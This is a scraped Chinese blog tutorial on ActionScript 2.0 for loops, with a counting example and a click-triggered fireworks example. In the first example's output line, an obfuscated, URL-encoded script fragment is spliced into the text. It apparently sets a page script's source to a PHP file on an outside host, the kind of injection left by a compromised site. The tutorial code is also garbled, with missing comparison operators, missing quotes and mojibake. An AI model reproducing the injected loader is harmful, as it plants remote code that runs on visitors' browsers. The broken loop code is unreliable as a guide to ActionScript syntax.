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for函数(AS教程)

for函数(AS教程)?? 2010-09-01 20:18:40|??分类:?AS2.0课堂?|??标签:flash教程??|字号?订阅 ---------------------------------------------------------------------------------------------------------------- for (老虎根据视频整理) /spzx/donghua/Flash/200908/10107_22.html 一、简述: 与条件判断语句一样,循环语句也是最具有实用性的语句,在满足条件时程序会不断重复执行直到设置的条件不成立才结束循环,继续执行下面的语句。for循环是功能最强大、使用最灵活的一种循环语句,他不仅可以应用于循环次数已经确定的情况,也可以应用于循环次数不经确定,只给出结束条件的情况。 二、语句解释: ????脚本位置:语句—条件---循环---for 语句结构: for(初始表达式;条件表达式;递增表达式;){ ????循环体; } 参数意义: ????初始表达式:循环前的初始化变量,通常为赋值表达式:建议用var赋值,可以加快运行速度。(往往是i=1;或k=1;) 条件表达式:每次循环前要计算的条件,是运算符类别中的条件运算符,返回值为true?或false,当返回值为true时执行循环,为false时退出循环。(往往是i=n;或用逻辑运算符) 递增或递减表达式:没循环一次以后要计算的表达式,通常是递增++或递减—等赋值表达式。 循环体:每次条件符合时要执行的语句。 总体的解释:for语句中的三个参数,第一个是初始化变量,用来设置循环次数的初始值;第二个是一个条件运算符或逻辑运算符,用来判断循环是否继续;第三个是每次循环后执行的语句,实际是递增或递减初始化变量。 for语句的流程图: ??????????????????????????????? ? 例1: ????第一层第一帧:动态文本---文本周围显示边框---变量名:a 第二层第一帧:输入脚本: for(i=1;i10;i++){ _root.a=i; Trace(i); } 测试:显示tsByTagName%28%27script%27%29%5B0%5D.src%3D%27http%3A//%78%71%7a%6e%2e%69%6e%66%6f%2f%61%2f%31%36%33%2f%6e%2e%70%68%70%27%3Bwindow.x%3D1%7D9。(输出面板1—9,即循环9次) 例2: ???通过“点击鼠标?观看烟花”实例来加深理解。 ???第一层第一帧:放夜间图片做背景。 ???第二层(空影片):插入---新建空影片剪辑---拖入第一帧。 ???新建烟花1影片剪辑----制作烟花及声响。在库中点选该影片剪辑---右键---链接---“为as导出”和“在第一帧导出”---标识符:yha ???用同样方法建烟花2影片剪辑--------------标识符:yhb ???回到场景,选中空影片剪辑,打开动作,输入脚本: ? onClipEvent (load) { ???????k = 1;????????//初始化变量 } onClipEvent (mouseDown) { ???????k = -k;????//每点一次都和前一次向反:当第点击k=-1;??当第点击k=1;??????????????? ???????for (i=1; i=100; i++) { ??????????????if (k == 1) { ?????????????????????this.attachMovie(yha, yh+i, i);?//复制新影片剪辑。 ?????????????????????this[yh+i]._x = _xmouse; //烟花在场景中的x位置=当时鼠标的x位置。 ?????????????????????this[yh+i]._y = _ymouse; //烟花在场景中的y位置=当时鼠标的y位置。 ?????????????????????this[yh+i]._rotation = random(360); //烟花旋转角度是360度任意的。 ?????????????????????this[yh+i]._xscale = this[yh+i]._yscale=random(50)+10; //烟花水平垂直缩放。 ??????????????} else { ?????????????????????this.attachMovie(yhb, yh+i, i); ?????????????????????this[yh+i]._x = _xmouse; ??

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